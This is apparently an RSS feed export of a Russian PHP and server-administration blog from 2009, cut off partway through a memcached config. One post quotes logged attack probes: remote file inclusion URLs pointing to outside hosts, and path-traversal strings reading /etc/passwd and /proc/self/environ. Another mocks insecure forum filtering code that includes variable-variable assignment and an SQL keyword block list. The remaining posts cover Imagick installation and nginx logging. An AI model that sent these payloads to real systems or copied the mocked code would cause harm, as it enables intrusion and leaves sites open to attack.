		<pubDate>Mon, 28 Dec 2009 10:00:48 +0000</pubDate>
		<dc:creator>Дерябин Сергей</dc:creator>
				<category><![CDATA[неразобранное]]></category>
		<category><![CDATA[hack attempt]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://svdev.ru/blog/hacking-%d1%87%d0%b0%d1%81%d1%82%d1%8c-i/</guid>
		<description><![CDATA[Обнаружил в логах довольно забавную картину по поиску слабых мест client: 83.168.217.53, server: ***, request: &#34;GET /plug.php?p=http://www.delicass.com/themes/delicasstheme/images/bienvenido.gif%00&#38;a=resume&#38;id=846 HTTP/1.0&#34; Ну и дальше вместо всех переменных пробуем подставлять: /proc/self/environ%00 /../../../../../../../../../../proc/self/environ%00 /etc/passwd%00 ../../../../../../../../../../etc/passwd%00 /../../../../../../../../../../etc/passwd%00 Что самое интересное &#8211; откуда такая уверенность в относительности пути?! Именно так и никак иначе пытаться впихнуть. А вот ходят по другому поводу client: [...]]]></description>
			<content:encoded><![CDATA[<p>Обнаружил в логах довольно забавную картину по поиску слабых мест <img src='http://svdev.ru/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">client: 83.168.217.53, server: <span style="color: #000000; font-weight: bold;">***</span>, request: <span style="color: #ff0000;">&quot;GET /plug.php?p=http://www.delicass.com/themes/delicasstheme/images/bienvenido.gif%00&amp;a=resume&amp;id=846 HTTP/1.0&quot;</span></div></div>
<p>Ну и дальше вместо всех переменных пробуем подставлять:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span>self<span style="color: #000000; font-weight: bold;">/</span>environ<span style="color: #000000; font-weight: bold;">%</span>00<br />
<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span>self<span style="color: #000000; font-weight: bold;">/</span>environ<span style="color: #000000; font-weight: bold;">%</span>00<br />
<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>passwd<span style="color: #000000; font-weight: bold;">%</span>00<br />
..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>passwd<span style="color: #000000; font-weight: bold;">%</span>00<br />
<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>passwd<span style="color: #000000; font-weight: bold;">%</span>00</div></div>
<p>Что самое интересное &#8211; откуда такая уверенность в относительности пути?! Именно так и никак иначе пытаться впихнуть.</p>
<p>А вот ходят по другому поводу</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">client: 203.237.238.234, server: <span style="color: #000000; font-weight: bold;">***</span>, request: <span style="color: #ff0000;">&quot;GET /***.html///?_SERVER%5BDOCUMENT_ROOT%5D=http://210.205.6.168/~shop/zfxid1.txt??? HTTP/1.1&quot;</span><br />
<br />
client: 203.237.238.234, server: <span style="color: #000000; font-weight: bold;">***</span>, request: <span style="color: #ff0000;">&quot;GET ///?_SERVER%5BDOCUMENT_ROOT%5D=http://210.205.6.168/~shop/zfxid1.txt??? HTTP/1.1&quot;</span></div></div>
<p>Интересно, что за сканер такой, или руками?</p>
]]></content:encoded>
			<wfw:commentRss>http://svdev.ru/blog/hacking-part-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP библиотека GD в debian сборке или выкидываем GD на помойку</title>
		<link>http://svdev.ru/blog/php-gd-debian-trouble/</link>
		<comments>http://svdev.ru/blog/php-gd-debian-trouble/#comments</comments>
		<pubDate>Thu, 24 Dec 2009 00:34:00 +0000</pubDate>
		<dc:creator>Дерябин Сергей</dc:creator>
				<category><![CDATA[неразобранное]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[ImageMagick]]></category>
		<category><![CDATA[Imagick]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://svdev.ru/?p=399</guid>
		<description><![CDATA[В ходе работы выяснилась неприятная вещь &#8211; в библиотеке GD под debian отсутствуют некоторые функции, я столкнулся именно с imagerotate. Некоторые предлагают пересобрать PHP c использованием библиотеки разработчиков, вместо системной, но нашлось более элегантное решение &#8211; ImageMagick и PHP обертка для нее Imagick. Собственно давно уже пора переходить на её использование: быстрее возможность выбора различных [...]]]></description>
			<content:encoded><![CDATA[<p>В ходе работы выяснилась неприятная вещь &#8211; в библиотеке GD под debian отсутствуют некоторые функции, я столкнулся именно с <code class="codecolorer php default"><span class="php"><a href="http://www.php.net/imagerotate"><span style="color: #990000;">imagerotate</span></a></span></code>. Некоторые предлагают пересобрать PHP c использованием библиотеки разработчиков, вместо системной, но нашлось более элегантное решение &#8211; <a href="http://www.imagemagick.org/" target="_blank">ImageMagick</a> и PHP обертка для нее <strong><a href="http://pecl.php.net/package/imagick" target="_blank">Imagick</a></strong>.<br />
Собственно давно уже пора переходить на её использование:</p>
<ul>
<li>быстрее</li>
<li>возможность выбора различных фильтров при ресайзе</li>
<li>ОО интерфейс</li>
<li>нет необходимости заморачиваться с типами файлов &#8211; все уже сделано за нас</li>
<li>эксепшены вместо ошибок</li>
</ul>
<p>Ну и наверняка есть еще достоинства, которые просто не пришли вот так сразу в голову.<br />
<span id="more-399"></span><br />
Поставим её.</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">apt-get install</span> imagemagick<br />
<span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">apt-get install</span> php-pear<br />
<span style="color: #c20cb9; font-weight: bold;">sudo</span> pecl <span style="color: #c20cb9; font-weight: bold;">install</span> imagick</div></div>
<p>Если второй шаг завершится ошибкой, вроде этой: <code class="codecolorer bash default"><span class="bash">ERROR: <span style="color: #000000; font-weight: bold;">`</span>phpize<span style="color: #ff0000;">' failed</span></span></code> то необходимо установить:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">apt-get install</span> php5-dev</div></div>
<p>и повторить установку <strong>Imagick</strong>, при возникновении ошибки <code class="codecolorer bash default"><span class="bash">ERROR: <span style="color: #000000; font-weight: bold;">`/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>pear<span style="color: #000000; font-weight: bold;">/</span>temp<span style="color: #000000; font-weight: bold;">/</span>imagick<span style="color: #000000; font-weight: bold;">/</span>configure <span style="color: #660033;">--with-imagick</span><span style="color: #ff0000;">' failed</span></span></code> необходимо дополнительно установить:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;"># для debian:</span><br />
<span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">apt-get install</span> libmagick9-dev<br />
<span style="color: #666666; font-style: italic;"># для убунты:</span><br />
<span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">apt-get install</span> libmagickwand-dev</div></div>
<p>Теперь <strong>Imagick</strong> должен точно встать, если нет &#8211; то дальше в Google.<br />
Осталось только прописать новую либу в php.ini:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #007800;">extension</span>=imagick.so</div></div>
<p><a href="http://www.php.net/manual/en/book.imagick.php" target="_blank">http://www.php.net/manual/en/book.imagick.php</a> &#8211; дока по <strong>Imagick</strong><br />
<a href="http://valokuva.org/?cat=1" target="_blank">http://valokuva.org/?cat=1</a> &#8211; блог с полезными и познавательными примерами использования <strong>Imagick</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://svdev.ru/blog/php-gd-debian-trouble/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Вывод ошибок PHP в логи nginx</title>
		<link>http://svdev.ru/blog/php-error-log-to-nginx-log/</link>
		<comments>http://svdev.ru/blog/php-error-log-to-nginx-log/#comments</comments>
		<pubDate>Mon, 10 Aug 2009 19:06:34 +0000</pubDate>
		<dc:creator>Дерябин Сергей</dc:creator>
				<category><![CDATA[неразобранное]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[PHP-FastCGI]]></category>

		<guid isPermaLink="false">http://svdev.ru/?p=268</guid>
		<description><![CDATA[После того как не осталось Apache, то и негде посмотреть ошибки PHP привычным способом (в логах Апача); сделаем что бы nginx вел лог ошибок PHP. nginx перехватывает то, что ему пришло от php-fastcgi на stderr и пишет это в лог, предваряя примерно следующим: 2009/08/10 22:54:38 &#91;error&#93; 11004#0: *7 FastCGI sent in stderr: Теперь же осталось [...]]]></description>
			<content:encoded><![CDATA[<p>После того как не осталось Apache, то и негде посмотреть ошибки PHP привычным способом (в логах Апача); сделаем что бы nginx вел лог ошибок PHP. nginx перехватывает то, что ему пришло от php-fastcgi на <code class="codecolorer bash default"><span class="bash">stderr</span></code> и пишет это в лог<span id="more-268"></span>, предваряя примерно следующим:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000;">2009</span><span style="color: #000000; font-weight: bold;">/</span>08<span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">10</span> <span style="color: #000000;">22</span>:<span style="color: #000000;">54</span>:<span style="color: #000000;">38</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span>error<span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #000000;">11004</span><span style="color: #666666; font-style: italic;">#0: *7 FastCGI sent in stderr:</span></div></div>
<p>Теперь же осталось только отдавать эти самые ошибки и предупреждения из PHP на <code class="codecolorer bash default"><span class="bash">stderr</span></code>, для этого надо немного подправить конфиг <code class="codecolorer bash default"><span class="bash"><span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>php5<span style="color: #000000; font-weight: bold;">/</span>cgi<span style="color: #000000; font-weight: bold;">/</span>php.ini</span></code>:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">; лишним здесь ничего не будет :<span style="color: #7a0874; font-weight: bold;">&#41;</span> пусть пишет все<span style="color: #000000; font-weight: bold;">!</span><br />
error_reporting &nbsp;= &nbsp;E_ALL<br />
<br />
; первый параметр отвечает как раз за отдаду ошибок на фронтэед<br />
display_errors = <span style="color: #ff0000;">&quot;stderr&quot;</span><br />
;<br />
; stdout <span style="color: #7a0874; font-weight: bold;">&#40;</span>On<span style="color: #7a0874; font-weight: bold;">&#41;</span> - Display errors to STDOUT<br />
; здесь же ошибки будут выводиться на экран, для сервера разработки -<br />
; это оптимальный вариант, а вот на боевом их все таки лучше отключить<br />
display_errors = On<br />
; Ну и последняя опция, что бы PHP все таки <br />
; писал ошибки в лог <span style="color: #7a0874; font-weight: bold;">&#40;</span>в нашем случае отдавал на stderr<span style="color: #7a0874; font-weight: bold;">&#41;</span><br />
log_errors = On</div></div>
<p>Готово! Осталось только перезапустить php-cgi:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>init.d<span style="color: #000000; font-weight: bold;">/</span>init-fastcgi restart</div></div>
]]></content:encoded>
			<wfw:commentRss>http://svdev.ru/blog/php-error-log-to-nginx-log/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Юмор: защита сайта от взлома</title>
		<link>http://svdev.ru/blog/hack-attempt/</link>
		<comments>http://svdev.ru/blog/hack-attempt/#comments</comments>
		<pubDate>Sat, 08 Aug 2009 21:36:34 +0000</pubDate>
		<dc:creator>Дерябин Сергей</dc:creator>
				<category><![CDATA[неразобранное]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[говнокод]]></category>

		<guid isPermaLink="false">http://svdev.ru/?p=250</guid>
		<description><![CDATA[Встретилось в контексте защиты сайта. 2 предложенных варианта фильтрации входящих данных, один другого хлеще 12345678910111213foreach&#40;$_GET as $key =&#38;gt; $val&#41; &#123; $$key = stripslashes&#40;strip_tags&#40;htmlspecialchars&#40;$val, ENT_QUOTES&#41;&#41;&#41;; &#125; foreach&#40;$_POST as $key =&#38;gt; $val&#41; &#123; if &#40;gettype &#40;$val&#41;!='array'&#41; &#123; $$key = stripslashes&#40;strip_tags&#40;htmlspecialchars&#40;$val, ENT_QUOTES&#41;&#41;&#41;; &#125; else &#123; foreach&#40;$val as $k =&#38;gt; $v&#41; &#123; $$val&#91;$k&#93; = stripslashes&#40;strip_tags&#40;htmlspecialchars&#40;$v, ENT_QUOTES&#41;&#41;&#41;; &#125; $$key=$val; &#125; [...]]]></description>
			<content:encoded><![CDATA[<p>Встретилось в контексте защиты сайта. 2 предложенных варианта фильтрации входящих данных, один другого хлеще <img src='http://svdev.ru/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<div class="codecolorer-container php vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$key</span> <span style="color: #339933;">=&amp;</span>gt<span style="color: #339933;">;</span> <span style="color: #000088;">$val</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
<span style="color: #000088;">$$key</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/stripslashes"><span style="color: #990000;">stripslashes</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/strip_tags"><span style="color: #990000;">strip_tags</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/htmlspecialchars"><span style="color: #990000;">htmlspecialchars</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$val</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">ENT_QUOTES</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$key</span> <span style="color: #339933;">=&amp;</span>gt<span style="color: #339933;">;</span> <span style="color: #000088;">$val</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/gettype"><span style="color: #990000;">gettype</span></a> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$val</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">!=</span><span style="color: #0000ff;">'array'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
<span style="color: #000088;">$$key</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/stripslashes"><span style="color: #990000;">stripslashes</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/strip_tags"><span style="color: #990000;">strip_tags</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/htmlspecialchars"><span style="color: #990000;">htmlspecialchars</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$val</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">ENT_QUOTES</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span><br />
<span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$val</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$k</span> <span style="color: #339933;">=&amp;</span>gt<span style="color: #339933;">;</span> <span style="color: #000088;">$v</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
<span style="color: #000088;">$$val</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$k</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/stripslashes"><span style="color: #990000;">stripslashes</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/strip_tags"><span style="color: #990000;">strip_tags</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/htmlspecialchars"><span style="color: #990000;">htmlspecialchars</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$v</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">ENT_QUOTES</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #000088;">$$key</span><span style="color: #339933;">=</span><span style="color: #000088;">$val</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
<div class="codecolorer-container php vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000088;">$post_arr</span><span style="color: #339933;">=</span><a href="http://www.php.net/implode"><span style="color: #990000;">implode</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'.'</span><span style="color: #339933;">,</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$get_arr</span><span style="color: #339933;">=</span><a href="http://www.php.net/implode"><span style="color: #990000;">implode</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'.'</span><span style="color: #339933;">,</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$cook_arr</span><span style="color: #339933;">=</span><a href="http://www.php.net/implode"><span style="color: #990000;">implode</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'.'</span><span style="color: #339933;">,</span><span style="color: #000088;">$_COOKIE</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$post_arr_key</span><span style="color: #339933;">=</span><a href="http://www.php.net/implode"><span style="color: #990000;">implode</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'.'</span><span style="color: #339933;">,@</span><a href="http://www.php.net/array_flip"><span style="color: #990000;">array_flip</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$get_arr_key</span><span style="color: #339933;">=</span><a href="http://www.php.net/implode"><span style="color: #990000;">implode</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'.'</span><span style="color: #339933;">,@</span><a href="http://www.php.net/array_flip"><span style="color: #990000;">array_flip</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$cook_arr_key</span><span style="color: #339933;">=</span><a href="http://www.php.net/implode"><span style="color: #990000;">implode</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'.'</span><span style="color: #339933;">,@</span><a href="http://www.php.net/array_flip"><span style="color: #990000;">array_flip</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_COOKIE</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$other_shtuki</span><span style="color: #339933;">=@</span><a href="http://www.php.net/file_get_contents"><span style="color: #990000;">file_get_contents</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'php://input'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$cracktrack</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/strtolower"><span style="color: #990000;">strtolower</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$post_arr</span><span style="color: #339933;">.</span><span style="color: #000088;">$get_arr</span><span style="color: #339933;">.</span><span style="color: #000088;">$cook_arr</span><span style="color: #339933;">.</span><span style="color: #000088;">$post_arr_key</span><span style="color: #339933;">.</span><span style="color: #000088;">$get_arr_key</span><span style="color: #339933;">.</span><span style="color: #000088;">$cook_arr_key</span><span style="color: #339933;">.</span><span style="color: #000088;">$other_shtuki</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$wormprotector</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'union'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'select'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'substring'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'/**/'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//тут дополни по своему вкусу кейворды SQL- и PHP-инжекторов</span><br />
<span style="color: #000088;">$checkworm</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/str_replace"><span style="color: #990000;">str_replace</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$wormprotector</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'*'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$cracktrack</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$cracktrack</span> <span style="color: #339933;">!=</span> <span style="color: #000088;">$checkworm</span><span style="color: #009900;">&#41;</span><br />
<a href="http://www.php.net/die"><span style="color: #990000;">die</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
?<span style="color: #339933;">&amp;</span>gt<span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p style="text-align: right;">С бескрайних просторов <a href="http://forum.searchengines.ru/showthread.php?t=385671">searchengines</a></p>
]]></content:encoded>
			<wfw:commentRss>http://svdev.ru/blog/hack-attempt/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>php + memcached</title>
		<link>http://svdev.ru/blog/php-memcached/</link>
		<comments>http://svdev.ru/blog/php-memcached/#comments</comments>
		<pubDate>Tue, 04 Aug 2009 18:36:48 +0000</pubDate>
		<dc:creator>Дерябин Сергей</dc:creator>
				<category><![CDATA[неразобранное]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[memcached]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://svdev.ru/?p=142</guid>
		<description><![CDATA[Установим все что может понадобиться для использования связки php + memcached. 1sudo apt-get install memcached php5-memcache Единственный файл конфига /etc/memcached.conf: 123456789101112131415161718192021# запустить как &#34;демон&#34; -d # лог файл logfile /var/log/memcached.log # я так понимаю расширенный формат лога :) # -v # ограничение памяти в мегабайтах -m 512 # слушать порт -p 11211 # от имени [...]]]></description>
			<content:encoded><![CDATA[<p>Установим все что может понадобиться для использования связки <strong>php + memcached</strong>.<br />
<span id="more-142"></span></p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">apt-get install</span> memcached php5-memcache</div></td></tr></tbody></table></div>
<p>Единственный файл конфига <code class="codecolorer bash default"><span class="bash"><span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>memcached.conf</span></code>:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;"># запустить как &quot;демон&quot;</span><br />
<span style="color: #660033;">-d</span><br />
<br />
<span style="color: #666666; font-style: italic;"># лог файл</span><br />
logfile <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>log<span style="color: #000000; font-weight: bold;">/</span>memcached.log<br />
<br />
<span style="color: #666666; font-style: italic;"># я так понимаю расширенный формат лога :)</span><br />
<span style="color: #666666; font-style: italic;"># -v</span><br />
<br />
<span style="color: #666666; font-style: italic;"># ограничение памяти в мегабайтах</span><br />
<span style="color: #660033;">-m</span> <span style="color: #000000;">512</span><br />
<br />
<span style="color: #666666; font-style: italic;"># слушать порт</span><br />
<span style="color: #660033;">-p</span> <span style="color: #000000;">11211</span><br />
<br />
<span style="color: #666666; font-style: italic;"># от имени какого пользователя запускать, </span><br />
<span style="color: #666666; font-style: italic;"># если параметр не указан, то будет запущен от root</span><br />
<span style="color: #660033;">-u</span> nobody<br />
<br />
